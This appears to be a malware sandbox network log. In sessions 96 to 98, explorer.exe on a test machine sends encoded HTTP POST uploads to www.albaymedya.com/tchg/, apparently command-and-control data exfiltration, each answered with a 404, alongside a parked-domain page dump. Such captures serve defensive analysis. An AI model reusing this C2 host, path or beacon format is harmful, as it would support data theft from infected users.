72 69 70 74 20 73 72 63 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 33 2e 33 2e 37 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3e 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 35 2e 33 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 33 30 30 69 2c 34 30 30 2c 34 30 30 69 2c 36 30 30 2c 36 30 30 69 2c 37 30 30 2c 37 30 30 69 2c 38 30 30 2c 38 30 30 69 26 73 75 62 73 65 74 3d 63 79 72 69 6c 6c 69 63 2c 63 79 72 69 6c 6c 69 63 2d 65 78 74 2c 67 72 65 65 6b 2c 67 72 65 65 6b 2d 65 78 74 2c 6c 61 74 69 6e 2d 65 78 74 2c 76 69 65 74 6e 61 6d 65 73 65 22 20 72 65 6c 3d 73 74 79 6c 65 73 68 65 65 74 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 7b 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428
May 30, 2023 11:13:19.583544016 CEST	1756	IN	Data Raw: 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 30 2e 37 64 65 67 2c 23 65 39 65 64 66 62 20 2d 35 30 2e 32 31 25 2c 23 66 36 66 38 66 64 20 33 31 2e 31 31 25 2c 23 66 66 66 20 31 36 36 2e 30 32 25 29 7d 68 Data Ascii: ;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600!important;color:#333}h2{font-size:24px;font-weight:600}h3{font-size:22px;font-
May 30, 2023 11:13:19.583602905 CEST	1757	IN	Data Raw: 61 76 3e 6c 69 3e 61 20 69 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 2d 62 61 72 20 69 6d 67 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 6f 70 3a 33 70 78 7d 2e 63 6f 6e 67 72 61 74 7a 7b 6d 61 72 67 69 6e Data Ascii: av>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-container{display:flex;flex-direction:row}.message-subtitle{color:#2f1c6a;font-weight:700;font-size:24px;line-height:32px;margin-b
May 30, 2023 11:13:19.583658934 CEST	1759	IN	Data Raw: 3a 31 36 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 32 30 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c Data Ascii: :16px;min-height:20px;min-width:20px;vertical-align:middle;text-align:center;display:inline-block;padding:4px 8px;font-weight:700;border-radius:4px;background-color:#fc5185}@media screen and (max-width:768px){.message{width:100%;padding:35px 0
May 30, 2023 11:13:19.583714008 CEST	1760	IN	Data Raw: 77 3e 3c 69 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 74 72 75 65 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 67 72 61 64 75 61 74 69 6f 6e 2d 63 61 70 22 3e 3c 2f 69 3e 20 54 75 74 6f 72 69 61 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 Data Ascii: w><i aria-hidden=true class="fas fa-graduation-cap"></i> Tutorials</a></li><li><a href=https://support.hostinger.com/en/ rel=nofollow><i aria-hidden=true class="fa-readme fab"></i>Knowledge base</a></li><li><a href=https://www.hostinger.com/af
May 30, 2023 11:13:19.583767891 CEST	1761	IN	Data Raw: 63 63 65 73 73 66 75 6c 20 6f 6e 6c 69 6e 65 20 70 72 6f 6a 65 63 74 73 2e 3c 2f 70 3e 3c 62 72 3e 3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 68 6f 73 74 69 6e 67 65 72 2e 63 6f 6d 20 72 65 6c 3d 6e 6f 66 6f 6c 6c 6f 77 3e 46 69 Data Ascii: ccessful online projects.</p><br><a href=https://www.hostinger.com rel=nofollow>Find your hosting plan</a></div></div><div class="col-xs-12 col-sm-4 column-custom-wrap"><div class=column-custom><div class=column-title>Add website to your hosti
May 30, 2023 11:13:19.583823919 CEST	1763	IN	Data Raw: 3b 6e 3c 74 3b 29 7b 69 66 28 35 35 32 39 36 3d 3d 28 36 33 34 38 38 26 28 72 3d 6f 5b 6e 2b 2b 5d 29 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 65 6e 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 Data Ascii: ;n<t;){if(55296==(63488&(r=o[n++])))throw new RangeError("UTF-16(encode): Illegal UTF-16 value");65535<r&&(r-=65536,e.push(String.fromCharCode(r>>>10&1023\|55296)),r=56320\|1023&r),e.push(String.fromCharCode(r))}return e.join("")}};var o=36,r=21
May 30, 2023 11:13:19.583879948 CEST	1764	IN	Data Raw: 7d 69 66 28 74 29 66 6f 72 28 66 3d 30 2c 77 3d 6d 2e 6c 65 6e 67 74 68 3b 66 3c 77 3b 66 2b 2b 29 79 5b 66 5d 26 26 28 6d 5b 66 5d 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6d 5b 66 5d 29 2e 74 6f 55 70 70 65 72 43 61 73 65 Data Ascii: }if(t)for(f=0,w=m.length;f<w;f++)y[f]&&(m[f]=String.fromCharCode(m[f]).toUpperCase().charCodeAt(0));return this.utf16.encode(m)},this.encode=function(t,a){var h,f,i,c,u,d,l,p,g,s,C,w;a&&(w=this.utf16.decode(t));var v=(t=this.utf16.decode(t.toL
May 30, 2023 11:13:19.583930016 CEST	1764	IN	Data Raw: 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 61 74 68 4e 61 6d 65 22 29 3b 61 63 63 6f 75 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 3d 70 75 6e 79 63 6f 64 65 2e 54 6f 55 6e 69 63 6f 64 65 28 70 61 74 68 4e 61 6d 65 29 3c 2f Data Ascii: cument.getElementById("pathName");account.innerHTML=punycode.ToUnicode(pathName)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.11.20	49855	185.106.208.3	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:24.635586977 CEST	1765	OUT	POST /tchg/ HTTP/1.1 Host: www.albaymedya.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.albaymedya.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.albaymedya.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 75 53 72 36 46 70 65 47 62 73 54 59 58 79 48 63 32 62 57 61 5a 7a 39 41 4d 59 41 4b 41 46 36 6f 39 53 6c 46 50 4e 49 34 76 65 77 31 69 48 28 44 30 6f 4c 50 70 45 4b 5a 4b 56 4d 30 38 49 74 75 7e 6c 33 71 38 77 33 34 65 51 77 41 55 45 62 49 34 49 33 71 4c 7a 28 57 70 5f 67 44 75 4a 46 37 31 56 47 79 42 6e 5a 79 6f 43 39 41 47 72 61 31 70 51 36 4b 52 72 58 64 4f 47 49 48 47 4d 53 79 28 36 4a 74 41 6c 6a 48 39 52 41 35 32 61 73 59 59 64 6e 61 48 75 71 4e 6b 6b 4e 71 76 37 36 75 68 78 71 73 51 41 70 31 30 31 69 73 52 7a 65 4e 57 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=uSr6FpeGbsTYXyHc2bWaZz9AMYAKAF6o9SlFPNI4vew1iH(D0oLPpEKZKVM08Itu~l3q8w34eQwAUEbI4I3qLz(Wp_gDuJF71VGyBnZyoC9AGra1pQ6KRrXdOGIHGMSy(6JtAljH9RA52asYYdnaHuqNkkNqv76uhxqsQAp101isRzeNWQ).
May 30, 2023 11:13:24.682410955 CEST	1766	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:13:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.11.20	49856	185.106.208.3	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:27.212985992 CEST	1767	OUT	POST /tchg/ HTTP/1.1 Host: www.albaymedya.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.albaymedya.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.albaymedya.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 75 53 72 36 46 70 65 47 62 73 54 59 52 68 50 63 37 63 69 61 4f 44 39 50 4a 59 41 4b 62 56 37 41 39 53 70 46 50 4d 63 53 75 72 67 31 69 6e 50 44 6d 35 4c 50 71 45 4b 5a 42 31 4d 74 6a 59 74 54 7e 6c 4c 69 38 31 66 34 65 51 55 41 55 78 50 49 7e 34 33 70 54 44 28 56 6f 5f 67 41 71 4a 45 30 31 56 36 66 42 6d 4e 79 6f 52 35 41 48 70 79 31 7e 53 53 4a 62 72 58 58 5a 32 49 41 54 63 53 38 28 36 46 54 41 6c 62 39 39 69 63 35 32 36 4d 59 4b 64 6e 64 4e 65 72 6b 38 6b 4e 30 6e 35 66 4c 6b 6e 53 44 49 44 4a 46 30 33 58 76 56 44 50 63 44 35 77 64 66 78 53 4a 7a 75 70 54 72 6a 71 37 78 41 6f 62 66 39 30 59 70 73 65 4a 41 67 31 4b 43 5a 57 4f 6d 6a 62 43 50 79 52 61 72 71 46 55 35 47 69 4a 39 35 4f 30 56 74 4e 33 4b 68 75 67 36 70 65 55 7e 41 67 77 35 63 62 39 51 69 63 6c 7e 6d 58 33 68 2d 77 6e 39 31 76 2d 50 38 6c 63 28 59 46 2d 46 66 42 74 75 4c 79 33 54 37 54 4c 75 32 37 68 77 4d 35 70 58 53 4e 6c 56 71 57 6b 4e 78 64 69 67 2d 28 2d 73 35 70 68 43 67 69 75 30 6e 74 77 6f 49 71 39 7e 4f 76 57 48 39 35 75 38 6f 4c 6d 6f 69 46 74 70 37 6e 66 39 75 4d 6e 6a 45 68 72 76 5f 51 6d 37 7a 39 6d 4f 4e 69 4b 4a 72 47 6c 77 47 4d 32 45 59 4a 66 62 57 43 44 78 38 74 37 43 35 4f 49 6e 6a 53 67 75 4d 7a 76 65 78 32 52 65 59 35 6f 71 33 74 32 46 79 64 72 4a 55 62 4b 54 58 44 37 68 6c 6e 73 75 46 73 72 53 49 32 5a 46 79 65 78 50 70 33 58 36 78 66 68 76 70 78 6b 48 62 6f 73 6b 4a 4f 45 59 54 71 66 7e 77 31 6e 77 32 68 4d 77 79 6d 47 5a 37 6b 65 59 4f 78 35 70 32 4b 62 4d 44 4f 76 67 79 31 61 4e 77 41 65 6d 58 6d 2d 30 5f 76 77 55 2d 73 6a 51 56 7a 6f 45 7a 41 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=uSr6FpeGbsTYRhPc7ciaOD9PJYAKbV7A9SpFPMcSurg1inPDm5LPqEKZB1MtjYtT~lLi81f4eQUAUxPI~43pTD(Vo_gAqJE01V6fBmNyoR5AHpy1~SSJbrXXZ2IATcS8(6FTAlb99ic526MYKdndNerk8kN0n5fLknSDIDJF03XvVDPcD5wdfxSJzupTrjq7xAobf90YpseJAg1KCZWOmjbCPyRarqFU5GiJ95O0VtN3Khug6peU~Agw5cb9Qicl~mX3h-wn91v-P8lc(YF-FfBtuLy3T7TLu27hwM5pXSNlVqWkNxdig-(-s5phCgiu0ntwoIq9~OvWH95u8oLmoiFtp7nf9uMnjEhrv_Qm7z9mONiKJrGlwGM2EYJfbWCDx8t7C5OInjSguMzvex2ReY5oq3t2FydrJUbKTXD7hlnsuFsrSI2ZFyexPp3X6xfhvpxkHboskJOEYTqf~w1nw2hMwymGZ7keYOx5p2KbMDOvgy1aNwAemXm-0_vwU-sjQVzoEzA.
May 30, 2023 11:13:27.259865999 CEST	1767	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:13:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.11.20	49857	185.106.208.3	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:29.791526079 CEST	1771	OUT	POST /tchg/ HTTP/1.1 Host: www.albaymedya.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.albaymedya.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.albaymedya.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 75 53 72 36 46 70 65 47 62 73 54 59 52 68 50 63 37 63 69 61 4f 44 39 50 4a 59 41 4b 62 56 37 41 39 53 70 46 50 4d 63 53 75 72 6f 31 68 57 76 44 30 4b 6a 50 72 45 4b 5a 43 31 4d 6f 6a 59 74 43 7e 6c 54 6d 38 31 62 6f 65 53 63 41 56 67 66 49 7e 4b 50 70 46 54 28 55 69 66 67 43 75 4a 46 31 31 56 47 4c 42 6d 59 48 6f 42 4e 41 47 70 43 31 70 7a 53 4b 5a 37 58 64 5a 32 49 55 43 4d 53 43 28 35 70 44 41 6c 48 39 39 67 6f 35 33 4d 41 59 5a 71 7a 64 45 75 72 6c 31 45 4d 30 7e 70 66 69 6b 6e 75 58 49 44 4a 5f 30 32 44 76 56 42 33 63 45 34 77 65 66 52 53 4a 36 4f 70 4d 38 54 6d 5f 78 44 4d 44 66 39 41 59 70 72 4b 4a 50 67 31 4b 55 49 57 50 79 7a 62 59 4c 79 51 63 39 61 5a 6d 35 47 33 34 39 39 57 30 57 64 5a 33 49 53 47 67 32 71 47 55 33 41 67 2d 39 63 61 37 66 43 63 35 7e 69 4c 56 68 5f 51 64 39 31 37 2d 4f 63 46 63 76 71 68 35 49 76 41 6f 74 4c 79 75 5a 62 66 48 75 79 66 74 77 4d 35 35 58 51 68 6c 55 5a 65 6b 4d 77 64 68 67 75 28 6c 77 35 70 4f 4d 41 75 34 30 6e 68 6f 6f 4a 54 32 7e 4e 44 57 47 64 35 75 34 35 4c 6e 67 53 46 71 68 62 6d 47 7a 4f 4d 30 6a 45 73 49 76 2d 6b 59 37 41 35 6d 4e 64 79 4b 59 72 47 69 36 47 4d 71 4f 34 4a 46 52 32 43 44 78 38 78 46 43 35 43 49 6d 52 43 67 76 2d 37 76 62 69 65 52 63 59 35 71 71 33 74 64 46 79 5a 59 4a 55 54 30 54 58 54 64 68 6d 4c 73 75 55 63 72 43 5a 32 61 42 43 65 77 59 4a 33 62 33 52 54 32 76 6f 64 73 48 62 34 6a 6a 36 36 45 5a 54 61 66 76 67 31 6b 31 57 68 4c 6d 69 6e 66 64 37 67 53 59 49 55 4f 70 33 76 45 4d 45 61 76 6a 6d 6f 44 53 30 77 57 39 45 48 55 6f 49 33 56 62 75 38 41 4a 48 6e 43 51 47 50 30 50 73 6e 73 77 41 4d 4a 73 4a 6c 57 78 58 47 4c 57 4e 58 43 4c 50 72 58 28 64 58 48 45 39 66 70 66 30 6b 75 37 4b 31 41 67 45 66 6b 71 67 65 31 42 41 57 6b 7a 6a 4b 49 61 6d 56 66 78 6c 54 46 34 47 48 5a 78 52 4b 53 6c 64 28 78 43 39 61 64 61 45 33 4a 4e 71 56 39 55 4c 54 67 56 43 51 31 6f 50 32 7a 55 72 54 46 4c 67 4d 58 7e 64 6d 66 28 31 66 70 32 33 41 6c 50 55 42 4c 69 70 68 78 51 37 6e 6c 39 4c 28 4a 34 36 62 6d 37 4a 39 36 54 47 33 36 4c 38 41 52 69 61 63 4f 35 35 51 68 75 32 30 42 7e 31 4c 67 4e 5a 42 70 34 4b 37 33 4b 31 77 52 75 78 4e 49 32 53 69 6f 73 76 58 63 6e 6f 74 46 31 6a 53 47 6b 54 59 66 28 4d 6e 6e 58 56 38 31 65 68 41 75 65 37 35 49 69 73 6c 49 69 67 47 57 70 30 6d 62 62 58 70 36 52 78 4b 54 55 4f 69 54 6e 52 69 63 52 4d 70 46 7a 34 78 37 76 6b 33 34 6c 4f 4f 79 57 43 68 44 66 4c 38 4a 6c 4b 48 50 51 68 32 43 72 59 61 71 47 36 30 59 4c 76 74 31 28 6a 34 45 66 48 6d 49 35 4c 77 77 52 75 46 44 6f 63 71 55 65 63 50 62 7e 7a 6c 4d 34 70 31 72 54 49 67 74 6d 4f 71 76 73 6f 52 4f 48 4b 43 6c 78 58 46 43 7e 6c 75 72 65 53 4b 42 28 61 67 4d 47 65 51 48 7e 44 39 5a 73 2d 42 34 55 45 43 52 6d 59 55 77 4f 4a 32 44 39 55 64 65 30 64 75 65 39 35 76 35 65 77 4d 7a 37 52 6b 68 7a 34 52 74 44 34 4a 4a 6f 72 57 64 4a 37 28 39 43 79 66 50 44 4e 4d 33 48 33 47 4e 6d 48 73 35 59 70 4f 4a 49 6e 7a 32 72 58 32 5f 4c 6e 56 52 6d 6d 4e 73 63 43 73 48 43 6c 67 65 39 72 52 72 5a 44 65 71 6b 55 67 74 51 47 59 35 52 35 6b 5a 41 4c 31 73 30 54 34 6b 7e 49 76 77 6f 5f 30 52 4b 56 59 6f 75 52 61 4e 61 61 35 6a 4f 6d 65 6d 32 65 66 5f 48 41 42 52 42 5a 48 66 47 6e 43 68 43 31 62 56 6c 48 34 31 45 79 50 67 6e 4e 39 45 39 51 62 39 64 64 4d 79 38 33 65 5a 6c 75 32 75 37 49 41 36 76 2d 45 44 76 69 44 4b 35 4b 4b 4b 77 56 41 4d 79 62 6f 47 34 72 69 4b 6e 4a 57 39 31 54 43 6c 68 5a 77 56 28 56 48 65 57 48 72 77 30 72 4f 36 33 34 56 33 4c 37 56 77 54 35 38 79 4f 56 30 59 56 5a 39 56 64 44 50 4c 56 59 70 79 64 4f 66 34 57 41 35 34 73 36 45 67 5a 52 70 4d 62 2d 69 32 54 51 34 35 39 68 77 72 30 2d 30 63 6f 35 77 4d 58 57 65 62 30 69 5a 4a 6c 37 4d 6a 76 73 28 51 73 72 71 54 4c 78 31 53 56 63 66 61 32 4d 6f 79 67 57 53 33 64 4d 67 57 77 37 36 4b 51 79 34 61 45 57 34 62 6f 37 44 30 7a 53 61 48 37 51 74 59 38 5a 6a 79 51 42 63 78 33 44 71 61 51 72 5a 72 72 34 75 32 37 62 58 6f 67 30 41 36 30 77 34 62 37 79 4d 73 53 79 48 51 4c 4e 66 61 67 54 35 31 44 4c 34 70 4b 54 6c 79 6e 32 51 36 57 4b 45 37 50 46 35 47 4f 30 71 65 4d 39 70 56 43 42 7e 33 68 6a 73 75 73 77 74 37 52 64 7e 70 59 35 66 7a 36 Data Ascii: O0qEM=uSr6FpeGbsTYRhPc7ciaOD9PJYAKbV7A9SpFPMcSuro1hWvD0KjPrEKZC1MojYtC~lTm81boeScAVgfI~KPpFT(UifgCuJF11VGLBmYHoBNAGpC1pzSKZ7XdZ2IUCMSC(5pDAlH99go53MAYZqzdEurl1EM0~pfiknuXIDJ_02DvVB3cE4wefRSJ6OpM8Tm_xDMDf9AYprKJPg1KUIWPyzbYLyQc9aZm5G3499W0WdZ3ISGg2qGU3Ag-9ca7fCc5~iLVh_Qd917-OcFcvqh5IvAotLyuZbfHuyftwM55XQhlUZekMwdhgu(lw5pOMAu40nhooJT2~NDWGd5u45LngSFqhbmGzOM0jEsIv-kY7A5mNdyKYrGi6GMqO4JFR2CDx8xFC5CImRCgv-7vbieRcY5qq3tdFyZYJUT0TXTdhmLsuUcrCZ2aBCewYJ3b3RT2vodsHb4jj66EZTafvg1k1WhLminfd7gSYIUOp3vEMEavjmoDS0wW9EHUoI3Vbu8AJHnCQGP0PsnswAMJsJlWxXGLWNXCLPrX(dXHE9fpf0ku7K1AgEfkqge1BAWkzjKIamVfxlTF4GHZxRKSld(xC9adaE3JNqV9ULTgVCQ1oP2zUrTFLgMX~dmf(1fp23AlPUBLiphxQ7nl9L(J46bm7J96TG36L8ARiacO55Qhu20B~1LgNZBp4K73K1wRuxNI2SiosvXcnotF1jSGkTYf(MnnXV81ehAue75IislIigGWp0mbbXp6RxKTUOiTnRicRMpFz4x7vk34lOOyWChDfL8JlKHPQh2CrYaqG60YLvt1(j4EfHmI5LwwRuFDocqUecPb~zlM4p1rTIgtmOqvsoROHKClxXFC~lureSKB(agMGeQH~D9Zs-B4UECRmYUwOJ2D9Ude0due95v5ewMz7Rkhz4RtD4JJorWdJ7(9CyfPDNM3H3GNmHs5YpOJInz2rX2_LnVRmmNscCsHClge9rRrZDeqkUgtQGY5R5kZAL1s0T4k~Ivwo_0RKVYouRaNaa5jOmem2ef_HABRBZHfGnChC1bVlH41EyPgnN9E9Qb9ddMy83eZlu2u7IA6v-EDviDK5KKKwVAMyboG4riKnJW91TClhZwV(VHeWHrw0rO634V3L7VwT58yOV0YVZ9VdDPLVYpydOf4WA54s6EgZRpMb-i2TQ459hwr0-0co5wMXWeb0iZJl7Mjvs(QsrqTLx1SVcfa2MoygWS3dMgWw76KQy4aEW4bo7D0zSaH7QtY8ZjyQBcx3DqaQrZrr4u27bXog0A60w4b7yMsSyHQLNfagT51DL4pKTlyn2Q6WKE7PF5GO0qeM9pVCB~3hjsuswt7Rd~pY5fz6oJie_7uyQvhJk4a6iLKK7FopslN5iofux3B9GVGK7VBROQV3xgWLtM_QWajynU5BWkIkfX3q-LTCkTENA8I9eUs0BS6IUQqSFg_lTodzmH9kdnSEEeXuAAON79mRRIpTs8PVFdTV2bmU74QmcRoaLNIo77ODOXfypD9PaOsT_7EE4Oayx2l5FRWlWjmKeaoVLpGfzJUaMd7YMxF~SO0z2jaljo2Mb2HOeFQ38isJXCMnKPgouI7PJUzykEytNoGg4cfu015yYJYfMHiV4i00VS4opUfutgdz40WNQ9jlVeqlMZ83RCQoSKxPXMISi7vplxP7m07MYvBFuXzhLFM8GYK5a1X0odzY1JPfPzX(8I68Iey4oCNbmgfFDWKs_~Munn2zMIy52kUCNNUdBLT47MeWgbnkGTwiDZiHAgD5nUBVpgF1V2kslmkiVxheVrS4WPrPG0VUJlZbxeb0_5Lt22i4jE-eLkrvQwuH8EWmviYaY1IkzHiUgGCnUdutuNu0r8Iznt95USI5j3Bmwd3LPxf~raSnAtK(_8KTeXOZMIEXi40yKsoLIJ1McmRM3e06RptlwLXSFQ9LdlMrG52kWpASQcrRYwWjyquJQw_a7VQgmgwg5gRmWaDNKNNMa730aW1o1a69vwhWo8Dn4vhyGj4WzNJn-SX3Qf0iX(a(Pjv5HnMcqOLEB3qzkA8Y9883vrGfro7zi8L80GOTgf0Mu~VK_FewmeKL6kwo1x-fiMETWLdkakT8jDVMRihc2IyJF87GS54btVEqb2ShNmFn73ibcY1Zyt506Ak6169cqAgNcktjypkr_pqCbz8ZrrKOzr45Yne3LpCBlVMTAwnEt4lbQg_MCaTnZhuh6Ro046tPcxa(cwUM1uK6do5gEU2NsNn9kOaNqjpW23g60wVBO5FujRAQQ01Bt7WKZwkhTD3kUSmWMYgtvZlGR(B(tlhwyVYnDh-RgrMdblzfn7QDp97vWJFp94JNv43W4pjL6BRwa~VkqOzToe8ETvyns0Jen4TQ36lH6dnBYH3pNB11v~GNH24iUV0gVBh4Vg8JsFd1y2NISnt75DUNnxE2Czk8JvCqeNNiZ1S0w2ztaaEXBDWAFCfCmGfXlQO02ELLNGY6TT5L_PDiv6I6r8OHHaM0lauU9eLKXO0Wq8l~u8mnPnRixGXLwMxhYcfZC4KAyhp1hmYIWzB2FtWMX45XBgCTphrJIIaKzi1ByAVKIPVOkXlIOlk1e5eASmzjpkLTCbE2jBJlPb9Jp4qDvdndAz6lCQHiBE1NBMbsgHGcsvuShlNXMdn5W~5VaU6eZQj3L9r~JC6(qJiy2qqvjsGJ5fmkeC85iMbNYdLUdgwAlK1yO63vX~UZzEYIzCfxHRov8efUI(jQl0IPFBI3s9XpQR1OUvTk3ZOo5xts1j12xK-Nw7K8adCAh7u8cotZMGvAy~Fuo8KHBgYRg5tjD3lMxgRAhJpoZY9a7e8cBx9A5KzVfLH~Ws6BJHzylXtFsgv~bgEOuKdjaLU0g0DO8R5zlaVCoz0~1b8iMcSPKEMP96rYKAk1wrd87RK(8tU0MpUyqjru4AF~xAEbQSr2gwRWbjOIjgfWQf3e3h-~hY6boKpHDyrbjWHhD5Q~2Dh1PTVHJVxhOAPHQs6Z2Ejynp7mlZMwx3cKInVOUNi2ORsUsQNUNU2i8luirQ2BYhljhQYzF67JY0f~SfZufjRen1-rm4DkItUE-XgPu5LegqnoCOIj9zlf3g9ISwQZZxh3WS80uE1imfjtriRUcCqt6mDUOvL~R8B1CFwHETan6KLJnkrTQtVJGTNT7hqa56UqBcHdJsD(U939wW113NmKIbMVJrFzNS9Iv4B9Otg7JzptgT9CZtZVQ1w6opix8keYAT3BTQFPvqhwNMU~ViXFrccUesaL-dTEgWKZSqMN3MlJ_hgSQrp9ss_NHBqUtq2k7i7V2dqjGeRTx7CfdwKmajT1XkScr(YyJoJo7XSkyyg2E2OTkv9O